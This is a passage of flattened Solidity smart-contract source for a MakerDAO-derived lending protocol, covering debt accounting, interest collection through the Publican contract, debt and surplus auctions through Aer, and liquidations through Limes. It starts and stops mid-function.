uint256 debtDst = wmul(pDst.normalDebt, v.rate);
// both sides consent
if (!hasDelegate(src, msg.sender) || !hasDelegate(dst, msg.sender))
revert Codex__transferCollateralAndDebt_notAllowed();
// both sides safe
if (debtSrc > wmul(pSrc.collateral, IVault(vault).fairPrice(tokenId, true, false)))
revert Codex__transferCollateralAndDebt_notSafeSrc();
if (debtDst > wmul(pDst.collateral, IVault(vault).fairPrice(tokenId, true, false)))
revert Codex__transferCollateralAndDebt_notSafeDst();
// both sides non-dusty
if (pSrc.normalDebt != 0 && debtSrc < v.debtFloor) revert Codex__transferCollateralAndDebt_debtFloorSrc();
if (pDst.normalDebt != 0 && debtDst < v.debtFloor) revert Codex__transferCollateralAndDebt_debtFloorDst();
emit TransferCollateralAndDebt(vault, tokenId, src, dst, deltaCollateral, deltaNormalDebt);
}
/// @notice Confiscates a Position's collateral and debt balances
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20)
/// @param user Address of the user
/// @param collateralizer Address of who puts up or receives the collateral delta
/// @param debtor Address of who provides or receives the debt delta
/// @param deltaCollateral Amount of collateral to put up (+) for or remove (-) from this Position [wad]
/// @param deltaNormalDebt Amount of normalized debt (gross, before rate is applied) to generate (+) or
/// settle (-) on this Position [wad]
function confiscateCollateralAndDebt(
address vault,
uint256 tokenId,
address user,
address collateralizer,
address debtor,
int256 deltaCollateral,
int256 deltaNormalDebt
) external override checkCaller {
Position storage position = positions[vault][tokenId][user];
Vault storage v = vaults[vault];
position.collateral = add(position.collateral, deltaCollateral);
position.normalDebt = add(position.normalDebt, deltaNormalDebt);
v.totalNormalDebt = add(v.totalNormalDebt, deltaNormalDebt);
int256 deltaDebt = wmul(v.rate, deltaNormalDebt);
balances[vault][tokenId][collateralizer] = sub(balances[vault][tokenId][collateralizer], deltaCollateral);
unbackedDebt[debtor] = sub(unbackedDebt[debtor], deltaDebt);
globalUnbackedDebt = sub(globalUnbackedDebt, deltaDebt);
emit ConfiscateCollateralAndDebt(
vault,
tokenId,
user,
collateralizer,
debtor,
deltaCollateral,
deltaNormalDebt
);
}
/// ======== Unbacked Debt ======== ///
/// @notice Settles unbacked debt with the sender's credit
/// @dev Reverts if the sender does not have sufficient credit available to settle the debt
/// @param debt Amount of debt to settle [wawd]
function settleUnbackedDebt(uint256 debt) external override {
address debtor = msg.sender;
unbackedDebt[debtor] = sub(unbackedDebt[debtor], debt);
credit[debtor] = sub(credit[debtor], debt);
globalUnbackedDebt = sub(globalUnbackedDebt, debt);
globalDebt = sub(globalDebt, debt);
emit SettleUnbackedDebt(debtor, debt);
}
/// @notice Create unbacked debt / credit
/// @dev Sender has to be allowed to call this method
/// @param debtor Address of the account who takes the unbacked debt
/// @param creditor Address of the account who gets the credit
/// @param debt Amount of unbacked debt / credit to generate [wad]
function createUnbackedDebt(
address debtor,
address creditor,
uint256 debt
) external override checkCaller {
unbackedDebt[debtor] = add(unbackedDebt[debtor], debt);
credit[creditor] = add(credit[creditor], debt);
globalUnbackedDebt = add(globalUnbackedDebt, debt);
globalDebt = add(globalDebt, debt);
emit CreateUnbackedDebt(debtor, creditor, debt);
}
/// ======== Debt Interest Rates ======== ///
/// @notice Updates the rate value and collects the accrued interest for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the vault
/// @param creditor Address of the account who gets the accrued interest
/// @param deltaRate Delta to increase (+) or decrease (-) the rate [percentage in wad]
function modifyRate(
address vault,
address creditor,
int256 deltaRate
) external override checkCaller {
if (live == 0) revert Codex__modifyRate_notLive();
Vault storage v = vaults[vault];
v.rate = add(v.rate, deltaRate);
int256 wad = wmul(v.totalNormalDebt, deltaRate);
credit[creditor] = add(credit[creditor], wad);
globalDebt = add(globalDebt, wad);
emit ModifyRate(vault, creditor, deltaRate);
}
/// ======== Shutdown ======== ///
/// @notice Locks the contract
/// @dev Sender has to be allowed to call this method
function lock() external override checkCaller {
live = 0;
emit Lock();
}
}// Copyright (C) 2018 Rain <[email protected]>
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDebtAuction {
function auctions(uint256)
external
view
returns (
uint256,
uint256,
address,
uint48,
uint48
);
function codex() external view returns (ICodex);
function token() external view returns (IERC20);
function minBidBump() external view returns (uint256);
function tokenToSellBump() external view returns (uint256);
function bidDuration() external view returns (uint48);
function auctionDuration() external view returns (uint48);
function auctionCounter() external view returns (uint256);
function live() external view returns (uint256);
function aer() external view returns (address);
function setParam(bytes32 param, uint256 data) external;
function startAuction(
address recipient,
uint256 tokensToSell,
uint256 bid
) external returns (uint256 id);
function redoAuction(uint256 id) external;
function submitBid(
uint256 id,
uint256 tokensToSell,
uint256 bid
) external;
function closeAuction(uint256 id) external;
function lock() external;
function cancelAuction(uint256 id) external;
}
interface ISurplusAuction {
function auctions(uint256)
external
view
returns (
uint256,
uint256,
address,
uint48,
uint48
);
function codex() external view returns (ICodex);
function token() external view returns (IERC20);
function minBidBump() external view returns (uint256);
function bidDuration() external view returns (uint48);
function auctionDuration() external view returns (uint48);
function auctionCounter() external view returns (uint256);
function live() external view returns (uint256);
function setParam(bytes32 param, uint256 data) external;
function startAuction(uint256 creditToSell, uint256 bid) external returns (uint256 id);
function redoAuction(uint256 id) external;
function submitBid(
uint256 id,
uint256 creditToSell,
uint256 bid
) external;
function closeAuction(uint256 id) external;
function lock(uint256 credit) external;
function cancelAuction(uint256 id) external;
}
interface IAer {
function codex() external view returns (ICodex);
function surplusAuction() external view returns (ISurplusAuction);
function debtAuction() external view returns (IDebtAuction);
function debtQueue(uint256) external view returns (uint256);
function queuedDebt() external view returns (uint256);
function debtOnAuction() external view returns (uint256);
function auctionDelay() external view returns (uint256);
function debtAuctionSellSize() external view returns (uint256);
function debtAuctionBidSize() external view returns (uint256);
function surplusAuctionSellSize() external view returns (uint256);
function surplusBuffer() external view returns (uint256);
function live() external view returns (uint256);
function setParam(bytes32 param, uint256 data) external;
function setParam(bytes32 param, address data) external;
function queueDebt(uint256 debt) external;
function unqueueDebt(uint256 queuedAt) external;
function settleDebtWithSurplus(uint256 debt) external;
function settleAuctionedDebt(uint256 debt) external;
function startDebtAuction() external returns (uint256 auctionId);
function startSurplusAuction() external returns (uint256 auctionId);
function transferCredit(address to, uint256 credit) external;
function lock() external;
}interface IPublican {
function vaults(address vault) external view returns (uint256, uint256);
function codex() external view returns (ICodex);
function aer() external view returns (IAer);
function baseInterest() external view returns (uint256);
function init(address vault) external;
function setParam(
address vault,
bytes32 param,
uint256 data
) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(bytes32 param, address data) external;
function virtualRate(address vault) external returns (uint256 rate);
function collect(address vault) external returns (uint256 rate);
}
/// @title Publican
/// @notice `Publican` is responsible for setting the debt interest rate and collecting interest
/// Uses Jug.sol from DSS (MakerDAO) / TaxCollector.sol from GEB (Reflexer Labs) as a blueprint
/// Changes from Jug.sol / TaxCollector.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - configuration by Vaults
contract Publican is Guarded, IPublican {
/// ======== Custom Errors ======== ///
error Publican__init_vaultAlreadyInit();
error Publican__setParam_notCollected();
error Publican__setParam_unrecognizedParam();
error Publican__collect_invalidBlockTimestamp();
/// ======== Storage ======== ///
// Vault specific configuration data
struct VaultConfig {
// Collateral-specific, per-second stability fee contribution [wad]
uint256 interestPerSecond;
// Time of last drip [unix epoch time]
uint256 lastCollected;
}
/// @notice Vault Configs
/// @dev Vault => Vault Config
mapping(address => VaultConfig) public override vaults;
/// @notice Codex
ICodex public immutable override codex;
/// @notice Aer
IAer public override aer;
/// @notice Global, per-second stability fee contribution [wad]
uint256 public override baseInterest;
/// ======== Events ======== ///
event Init(address indexed vault);
event SetParam(address indexed vault, bytes32 indexed param, uint256 data);
event SetParam(bytes32 indexed param, address indexed data);
event Collect(address indexed vault);
constructor(address codex_) Guarded() {
codex = ICodex(codex_);
}
/// ======== Configuration ======== ///
/// @notice Initializes a new Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
function init(address vault) external override checkCaller {
VaultConfig storage v = vaults[vault];
if (v.interestPerSecond != 0) revert Publican__init_vaultAlreadyInit();
v.interestPerSecond = WAD;
v.lastCollected = block.timestamp;
emit Init(vault);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
bytes32 param,
uint256 data
) external override checkCaller {
if (block.timestamp != vaults[vault].lastCollected) revert Publican__setParam_notCollected();
if (param == "interestPerSecond") vaults[vault].interestPerSecond = data;
else revert Publican__setParam_unrecognizedParam();
emit SetParam(vault, param, data);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (param == "baseInterest") baseInterest = data;
else revert Publican__setParam_unrecognizedParam();
emit SetParam(address(0), param, data);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(bytes32 param, address data) external override checkCaller {
if (param == "aer") aer = IAer(data);
else revert Publican__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// ======== Interest Rates ======== ///
/// @notice Returns the up to date rate (virtual rate) for a given vault as the rate stored in Codex
/// might be outdated
/// @param vault Address of the Vault
/// @return rate Virtual rate
function virtualRate(address vault) external view override returns (uint256 rate) {
(, uint256 prev, , ) = codex.vaults(vault);
if (block.timestamp < vaults[vault].lastCollected) return prev;
rate = wmul(
wpow(
add(baseInterest, vaults[vault].interestPerSecond),
sub(block.timestamp, vaults[vault].lastCollected),
WAD
),
prev
);
}
/// @notice Collects accrued interest from all Position on a Vault by updating the Vault's rate
/// @param vault Address of the Vault
/// @return rate Set rate
function collect(address vault) public override returns (uint256 rate) {
if (block.timestamp < vaults[vault].lastCollected) revert Publican__collect_invalidBlockTimestamp();
(, uint256 prev, , ) = codex.vaults(vault);
rate = wmul(
wpow(
add(baseInterest, vaults[vault].interestPerSecond),
sub(block.timestamp, vaults[vault].lastCollected),
WAD
),
prev
);
codex.modifyRate(vault, address(aer), diff(rate, prev));
vaults[vault].lastCollected = block.timestamp;
emit Collect(vault);
}
/// @notice Batches interest collection. See `collect(address vault)`.
/// @param vaults_ Array of Vault addresses
/// @return rates Set rates for each updated Vault
function collectMany(address[] memory vaults_) external returns (uint256[] memory) {
uint256[] memory rates = new uint256[](vaults_.length);
for (uint256 i = 0; i < vaults_.length; i++) {
rates[i] = collect(vaults_[i]);
}
return rates;
}
}// Copyright (C) 2018 Rain <[email protected]>
/// @title Aer (short for Aerarium)
/// @notice `Aer` is used for managing the protocol's debt and surplus balances via the DebtAuction and
/// SurplusAuction contracts.
/// Uses Vow.sol from DSS (MakerDAO) / AccountingEngine.sol from GEB (Reflexer Labs) as a blueprint
/// Changes from Vow.sol / AccountingEngine.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
contract Aer is Guarded, IAer {
/// ======== Custom Errors ======== ///
error Aer__setParam_unrecognizedParam();
error Aer__unqueueDebt_auctionDelayNotPassed();
error Aer__settleDebtWithSurplus_insufficientSurplus();
error Aer__settleDebtWithSurplus_insufficientDebt();
error Aer__settleAuctionedDebt_notEnoughDebtOnAuction();
error Aer__settleAuctionedDebt_insufficientSurplus();
error Aer__startDebtAuction_insufficientDebt();
error Aer__startDebtAuction_surplusNotZero();
error Aer__startSurplusAuction_insufficientSurplus();
error Aer__startSurplusAuction_debtNotZero();
error Aer__transferCredit_insufficientCredit();
error Aer__lock_notLive();
/// ======== Storage ======== ///
/// @notice Codex
ICodex public immutable override codex;
/// @notice SurplusAuction
ISurplusAuction public override surplusAuction;
/// @notice DebtAuction
IDebtAuction public override debtAuction;
/// @notice List of debt amounts to be auctioned sorted by the time at which they where queued
/// @dev Queued at timestamp => Debt [wad]
mapping(uint256 => uint256) public override debtQueue;
/// @notice Queued debt amount [wad]
uint256 public override queuedDebt;
/// @notice Amount of debt currently on auction [wad]
uint256 public override debtOnAuction;
/// @notice Time after which queued debt can be put up for auction [seconds]
uint256 public override auctionDelay;
/// @notice Amount of tokens to sell in each debt auction [wad]
uint256 public override debtAuctionSellSize;
/// @notice Min. amount of (credit to bid or debt to sell) for tokens [wad]
uint256 public override debtAuctionBidSize;
/// @notice Amount of credit to sell in each surplus auction [wad]
uint256 public override surplusAuctionSellSize;
/// @notice Amount of credit required for starting a surplus auction [wad]
uint256 public override surplusBuffer;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public override live;
/// ======== Events ======== ///
event SetParam(bytes32 indexed param, uint256 data);
event SetParam(bytes32 indexed param, address indexed data);
event QueueDebt(uint256 indexed queuedAt, uint256 debtQueue, uint256 queuedDebt);
event UnqueueDebt(uint256 indexed queuedAt, uint256 queuedDebt);
event StartDebtAuction(uint256 debtOnAuction, uint256 indexed auctionId);
event SettleAuctionedDebt(uint256 debtOnAuction);
event StartSurplusAuction(uint256 indexed auctionId);
event SettleDebtWithSurplus(uint256 debt);
event Lock();
constructor(
address codex_,
address surplusAuction_,
address debtAuction_
) Guarded() {
codex = ICodex(codex_);
surplusAuction = ISurplusAuction(surplusAuction_);
debtAuction = IDebtAuction(debtAuction_);
ICodex(codex_).grantDelegate(surplusAuction_);
live = 1;
}
/// ======== Configuration ======== ///
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (param == "auctionDelay") auctionDelay = data;
else if (param == "surplusAuctionSellSize") surplusAuctionSellSize = data;
else if (param == "debtAuctionBidSize") debtAuctionBidSize = data;
else if (param == "debtAuctionSellSize") debtAuctionSellSize = data;
else if (param == "surplusBuffer") surplusBuffer = data;
else revert Aer__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(bytes32 param, address data) external override checkCaller {
if (param == "surplusAuction") {
codex.revokeDelegate(address(surplusAuction));
surplusAuction = ISurplusAuction(data);
codex.grantDelegate(data);
} else if (param == "debtAuction") debtAuction = IDebtAuction(data);
else revert Aer__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// ======== Debt Auction ======== ///
/// @notice Pushes new debt to the debt queue
/// @dev Sender has to be allowed to call this method
/// @param debt Amount of debt [wad]
function queueDebt(uint256 debt) external override checkCaller {
debtQueue[block.timestamp] = add(debtQueue[block.timestamp], debt);
queuedDebt = add(queuedDebt, debt);
emit QueueDebt(block.timestamp, debtQueue[block.timestamp], queuedDebt);
}
/// @notice Pops debt from the debt queue
/// @param queuedAt Timestamp at which the debt has been queued [seconds]
function unqueueDebt(uint256 queuedAt) external override {
if (add(queuedAt, auctionDelay) > block.timestamp) revert Aer__unqueueDebt_auctionDelayNotPassed();
queuedDebt = sub(queuedDebt, debtQueue[queuedAt]);
debtQueue[queuedAt] = 0;
emit UnqueueDebt(queuedAt, queuedDebt);
}
/// @notice Starts a debt auction
/// @dev Sender has to be allowed to call this method
/// Checks if enough debt exists to be put up for auction
/// debtAuctionBidSize > (unbackedDebt - queuedDebt - debtOnAuction)
/// @return auctionId Id of the debt auction
function startDebtAuction() external override checkCaller returns (uint256 auctionId) {
if (debtAuctionBidSize > sub(sub(codex.unbackedDebt(address(this)), queuedDebt), debtOnAuction))
revert Aer__startDebtAuction_insufficientDebt();
if (codex.credit(address(this)) != 0) revert Aer__startDebtAuction_surplusNotZero();
debtOnAuction = add(debtOnAuction, debtAuctionBidSize);
auctionId = debtAuction.startAuction(address(this), debtAuctionSellSize, debtAuctionBidSize);
emit StartDebtAuction(debtOnAuction, auctionId);
}
/// @notice Settles debt collected from debt auctions
/// @dev Cannot settle debt with accrued surplus (only from debt auctions)
/// @param debt Amount of debt to settle [wad]
function settleAuctionedDebt(uint256 debt) external override {
if (debt > debtOnAuction) revert Aer__settleAuctionedDebt_notEnoughDebtOnAuction();
if (debt > codex.credit(address(this))) revert Aer__settleAuctionedDebt_insufficientSurplus();
debtOnAuction = sub(debtOnAuction, debt);
codex.settleUnbackedDebt(debt);
emit SettleAuctionedDebt(debtOnAuction);
}
/// ======== Surplus Auction ======== ///
/// @notice Starts a surplus auction
/// @dev Sender has to be allowed to call this method
/// Checks if enough surplus has accrued (surplusAuctionSellSize + surplusBuffer) and there's
/// no queued debt to be put up for a debt auction
/// @return auctionId Id of the surplus auction
function startSurplusAuction() external override checkCaller returns (uint256 auctionId) {
if (
codex.credit(address(this)) <
add(add(codex.unbackedDebt(address(this)), surplusAuctionSellSize), surplusBuffer)
) revert Aer__startSurplusAuction_insufficientSurplus();
if (sub(sub(codex.unbackedDebt(address(this)), queuedDebt), debtOnAuction) != 0)
revert Aer__startSurplusAuction_debtNotZero();
auctionId = surplusAuction.startAuction(surplusAuctionSellSize, 0);
emit StartSurplusAuction(auctionId);
}
/// @notice Settles debt with the accrued surplus
/// @dev Sender has to be allowed to call this method
/// Can not settle more debt than there's unbacked debt and which is not expected
/// to be settled via debt auctions (queuedDebt + debtOnAuction)
/// @param debt Amount of debt to settle [wad]
function settleDebtWithSurplus(uint256 debt) external override checkCaller {
if (debt > codex.credit(address(this))) revert Aer__settleDebtWithSurplus_insufficientSurplus();
if (debt > sub(sub(codex.unbackedDebt(address(this)), queuedDebt), debtOnAuction))
revert Aer__settleDebtWithSurplus_insufficientDebt();
codex.settleUnbackedDebt(debt);
emit SettleDebtWithSurplus(debt);
}
/// @notice Transfer accrued credit surplus to another account
/// @dev Can only transfer backed credit out of Aer
/// @param credit Amount of debt to settle [wad]
function transferCredit(address to, uint256 credit) external override checkCaller {
if (credit > sub(codex.credit(address(this)), codex.unbackedDebt(address(this))))
revert Aer__transferCredit_insufficientCredit();
codex.transferCredit(address(this), to, credit);
}
/// ======== Shutdown ======== ///
/// @notice Locks the contract
/// @dev Sender has to be allowed to call this method
/// Wipes queued debt and debt on auction, locks DebtAuction and SurplusAuction and
/// settles debt with what it has available
function lock() external override checkCaller {
if (live == 0) revert Aer__lock_notLive();
live = 0;
queuedDebt = 0;
debtOnAuction = 0;
surplusAuction.lock(codex.credit(address(surplusAuction)));
debtAuction.lock();
codex.settleUnbackedDebt(min(codex.credit(address(this)), codex.unbackedDebt(address(this))));
emit Lock();
}
}// Copyright (C) 2020-2021 Maker Ecosystem Growth Holdings, INC.
interface IPriceCalculator {
// 1st arg: initial price [wad]
// 2nd arg: seconds since auction start [seconds]
// returns: current auction price [wad]
function price(uint256, uint256) external view returns (uint256);
}
interface ILimes {
function codex() external view returns (ICodex);
function aer() external view returns (IAer);
function vaults(address)
external
view
returns (
address,
uint256,
uint256,
uint256
);
function live() external view returns (uint256);
function globalMaxDebtOnAuction() external view returns (uint256);
function globalDebtOnAuction() external view returns (uint256);
function setParam(bytes32 param, address data) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(
address vault,
bytes32 param,
uint256 data
) external;
function setParam(
address vault,
bytes32 param,
address collateralAuction
) external;
function liquidationPenalty(address vault) external view returns (uint256);
function liquidate(
address vault,
uint256 tokenId,
address position,
address keeper
) external returns (uint256 auctionId);
function liquidated(
address vault,
uint256 tokenId,
uint256 debt
) external;
function lock() external;
}
interface CollateralAuctionCallee {
function collateralAuctionCall(
address,
uint256,
uint256,
bytes calldata
) external;
}
interface ICollateralAuction {
function vaults(address)
external
view
returns (
uint256,
uint256,
uint256,
uint256,
ICollybus,
IPriceCalculator
);
function codex() external view returns (ICodex);
function limes() external view returns (ILimes);
function aer() external view returns (IAer);
function feeTip() external view returns (uint64);
function flatTip() external view returns (uint192);
function auctionCounter() external view returns (uint256);
function activeAuctions(uint256) external view returns (uint256);
function auctions(uint256)
external
view
returns (
uint256,
uint256,
uint256,
address,
uint256,
address,
uint96,
uint256
);
function stopped() external view returns (uint256);
function init(address vault, address collybus) external;
function setParam(bytes32 param, uint256 data) external;
function setParam(bytes32 param, address data) external;
function setParam(
address vault,
bytes32 param,
uint256 data
) external;
function setParam(
address vault,
bytes32 param,
address data
) external;
function startAuction(
uint256 debt,
uint256 collateralToSell,
address vault,
uint256 tokenId,
address user,
address keeper
) external returns (uint256 auctionId);
function redoAuction(uint256 auctionId, address keeper) external;
function takeCollateral(
uint256 auctionId,
uint256 collateralAmount,
uint256 maxPrice,
address recipient,
bytes calldata data
) external;
function count() external view returns (uint256);
function list() external view returns (uint256[] memory);
function getStatus(uint256 auctionId)
external
view
returns (
bool needsRedo,
uint256 price,
uint256 collateralToSell,
uint256 debt
);
function updateAuctionDebtFloor(address vault) external;
function cancelAuction(uint256 auctionId) external;
}
/// @title Limes
/// @notice `Limes` is responsible for triggering liquidations of unsafe Positions and
/// putting the Position's collateral up for auction
/// Uses Dog.sol from DSS (MakerDAO) as a blueprint
/// Changes from Dog.sol:
/// - only WAD precision is used (no RAD and RAY)
/// - uses a method signature based authentication scheme
/// - supports ERC1155, ERC721 style assets by TokenId
contract Limes is Guarded, ILimes {
/// ======== Custom Errors ======== ///
error Limes__setParam_liquidationPenaltyLtWad();
error Limes__setParam_unrecognizedParam();
error Limes__liquidate_notLive();
error Limes__liquidate_notUnsafe();
error Limes__liquidate_maxDebtOnAuction();
error Limes__liquidate_dustyAuctionFromPartialLiquidation();
error Limes__liquidate_nullAuction();
error Limes__liquidate_overflow();
/// ======== Storage ======== ///
// Vault specific configuration data
struct VaultConfig {
// Auction contract for collateral
address collateralAuction;
// Liquidation penalty [wad]
uint256 liquidationPenalty;
// Max credit needed to cover debt+fees of active auctions per vault [wad]
uint256 maxDebtOnAuction;
// Amount of credit needed to cover debt+fees for all active auctions per vault [wad]
uint256 debtOnAuction;
}
/// @notice Vault Configs
/// @dev Vault => Vault Config
mapping(address => VaultConfig) public override vaults;
/// @notice Codex
ICodex public immutable override codex;
/// @notice Aer
IAer public override aer;
/// @notice Max credit needed to cover debt+fees of active auctions [wad]
uint256 public override globalMaxDebtOnAuction;
/// @notice Amount of credit needed to cover debt+fees for all active auctions [wad]
uint256 public override globalDebtOnAuction;
/// @notice Boolean indicating if this contract is live (0 - not live, 1 - live)
uint256 public override live;
/// ======== Events ======== ///
event SetParam(bytes32 indexed param, uint256 data);
event SetParam(bytes32 indexed param, address data);
event SetParam(address indexed vault, bytes32 indexed param, uint256 data);
event SetParam(address indexed vault, bytes32 indexed param, address collateralAuction);
event Liquidate(
address indexed vault,
uint256 indexed tokenId,
address position,
uint256 collateral,
uint256 normalDebt,
uint256 due,
address collateralAuction,
uint256 indexed auctionId
);
event Liquidated(address indexed vault, uint256 indexed tokenId, uint256 debt);
event Lock();
constructor(address codex_) Guarded() {
codex = ICodex(codex_);
live = 1;
}
/// ======== Configuration ======== ///
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(bytes32 param, address data) external override checkCaller {
if (param == "aer") aer = IAer(data);
else revert Limes__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for this contract
/// @dev Sender has to be allowed to call this method
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(bytes32 param, uint256 data) external override checkCaller {
if (param == "globalMaxDebtOnAuction") globalMaxDebtOnAuction = data;
else revert Limes__setParam_unrecognizedParam();
emit SetParam(param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [wad]
function setParam(
address vault,
bytes32 param,
uint256 data
) external override checkCaller {
if (param == "liquidationPenalty") {
if (data < WAD) revert Limes__setParam_liquidationPenaltyLtWad();
vaults[vault].liquidationPenalty = data;
} else if (param == "maxDebtOnAuction") vaults[vault].maxDebtOnAuction = data;
else revert Limes__setParam_unrecognizedParam();
emit SetParam(vault, param, data);
}
/// @notice Sets various variables for a Vault
/// @dev Sender has to be allowed to call this method
/// @param vault Address of the Vault
/// @param param Name of the variable to set
/// @param data New value to set for the variable [address]
function setParam(
address vault,
bytes32 param,
address data
) external override checkCaller {
if (param == "collateralAuction") {
vaults[vault].collateralAuction = data;
} else revert Limes__setParam_unrecognizedParam();
emit SetParam(vault, param, data);
}
/// ======== Liquidations ======== ///
/// @notice Direct access to the current liquidation penalty set for a Vault
/// @param vault Address of the Vault
/// @return liquidation penalty [wad]
function liquidationPenalty(address vault) external view override returns (uint256) {
return vaults[vault].liquidationPenalty;
}
/// @notice Liquidate a Position and start a Dutch auction to sell its collateral for credit.
/// @dev The third argument is the address that will receive the liquidation reward, if any.
/// The entire Position will be liquidated except when the target amount of credit to be raised in
/// the resulting auction (debt of Position + liquidation penalty) causes either globalDebtOnAuction to exceed
/// globalMaxDebtOnAuction or vault.debtOnAuction to exceed vault.maxDebtOnAuction by an economically
/// significant amount. In that case, a partial liquidation is performed to respect the global and per-vault limits
/// on outstanding credit target. The one exception is if the resulting auction would likely
/// have too little collateral to be of interest to Keepers (debt taken from Position < vault.debtFloor),
/// in which case the function reverts. Please refer to the code and comments within if more detail is desired.
/// @param vault Address of the Position's Vault
/// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20) of the Position
/// @param position Address of the owner of the Position
/// @param keeper Address of the keeper who triggers the liquidation and receives the reward
/// @return auctionId Indentifier of the started auction
function liquidate(
address vault,
uint256 tokenId,
address position,
address keeper
) external override returns (uint256 auctionId) {
if (live == 0) revert Limes__liquidate_notLive();
VaultConfig memory mvault = vaults[vault];
uint256 deltaNormalDebt;
uint256 rate;
uint256 debtFloor;
uint256 deltaCollateral;
unchecked {
{
(uint256 collateral, uint256 normalDebt) = codex.positions(vault, tokenId, position);
uint256 price = IVault(vault).fairPrice(tokenId, true, false);
(, rate, , debtFloor) = codex.vaults(vault);
if (price == 0 || mul(collateral, price) >= mul(normalDebt, rate)) revert Limes__liquidate_notUnsafe();
// Get the minimum value between:
// 1) Remaining space in the globalMaxDebtOnAuction
// 2) Remaining space in the vault.maxDebtOnAuction
if (!(globalMaxDebtOnAuction > globalDebtOnAuction && mvault.maxDebtOnAuction > mvault.debtOnAuction))
revert Limes__liquidate_maxDebtOnAuction();
uint256 room = min(
globalMaxDebtOnAuction - globalDebtOnAuction,
mvault.maxDebtOnAuction - mvault.debtOnAuction
);
// normalize room by subtracting rate and liquidationPenalty
deltaNormalDebt = min(normalDebt, (((room * WAD) / rate) * WAD) / mvault.liquidationPenalty);
// Partial liquidation edge case logic
if (normalDebt > deltaNormalDebt) {
if (wmul(normalDebt - deltaNormalDebt, rate) < debtFloor) {
// If the leftover Position would be dusty, just liquidate it entirely.
// This will result in at least one of v.debtOnAuction > v.maxDebtOnAuction or
// globalDebtOnAuction > globalMaxDebtOnAuction becoming true. The amount of excess will
// be bounded above by ceiling(v.debtFloor * v.liquidationPenalty / WAD). This deviation is
// assumed to be small compared to both v.maxDebtOnAuction and globalMaxDebtOnAuction, so that
// the extra amount of credit is not of economic concern.
deltaNormalDebt = normalDebt;
} else {
// In a partial liquidation, the resulting auction should also be non-dusty.
if (wmul(deltaNormalDebt, rate) < debtFloor)
revert Limes__liquidate_dustyAuctionFromPartialLiquidation();
}
}
deltaCollateral = mul(collateral, deltaNormalDebt) / normalDebt;
}
}
if (deltaCollateral == 0) revert Limes__liquidate_nullAuction();
if (!(deltaNormalDebt <= 2**255 && deltaCollateral <= 2**255)) revert Limes__liquidate_overflow();
codex.confiscateCollateralAndDebt(
vault,
tokenId,
position,
mvault.collateralAuction,
address(aer),
-int256(deltaCollateral),
-int256(deltaNormalDebt)
);
uint256 due = wmul(deltaNormalDebt, rate);
aer.queueDebt(due);
{
// Avoid stack too deep
// This calcuation will overflow if deltaNormalDebt*rate exceeds ~10^14
